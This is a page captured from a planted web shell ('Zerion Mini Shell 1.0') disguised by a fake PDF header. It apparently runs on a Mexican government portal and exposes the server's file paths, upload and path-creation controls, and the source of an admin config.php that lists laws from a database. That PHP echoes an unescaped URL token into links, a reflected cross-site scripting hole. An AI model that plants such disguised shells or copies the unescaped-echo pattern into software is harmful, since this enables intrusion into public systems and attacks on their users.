%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/portal.tjamich.gob.mx/infofi/modules/ley/
Upload File :
Create Path :
Current File : /home/tjamichg/portal.tjamich.gob.mx/infofi/modules/ley/config.php

<script>
    function cbley() {
        return confirm('¿Seguro que deseas borrar esta ley? - Todos los registros relacionados a esta leuy podrían perderse con esta acción');
    }
</script>

<br />
<div class="content">
    <div class="titulo">Normatividad</div>
    <?php cfmenu(); ?>
    <br />
    <div>
        <table class="tablas">
            <tr>
                <td class="ctab">Nombre Ley</td>
                <td class="ctab">Siglas</td>
                <td class="ctab">Fecha de Aprobación</td>
                <td class="ctab">Acciones</td>
            </tr>
            <?php
            require("conn.php");
            $cons = mysqli_query($db, "SELECT * FROM nleyes");
            while($leyes = mysqli_fetch_array($cons)){
                ?>
            <tr>
                <td><?php echo $leyes['1']; ?></td>
                <td><?php echo $leyes['2']; ?></td>
                <td><?php echo $leyes['3']; ?></td>
                <td>
                    <div class="caja"><a href="index.php?token=<?php echo $_GET['token']; ?>&mod=art&id_norm=<?php echo $leyes['0']; ?>"><img src="images/cog.png" width="20" height="20" /><span class="info">Configurar Ley</span></a></div>
                    <div class="caja"><a href="index.php?token=<?php echo $_GET['token']; ?>&mod=art&id_norm=<?php echo $leyes['0']; ?>" onclick="return cbley();"><img src="images/cancel-circle.png" width="20" height="20" /><span class="info">Borrar</span></a></div>
                </td>
            </tr>
            
            <?php
            }
            ?>
        </table>
    </div>
</div>

Zerion Mini Shell 1.0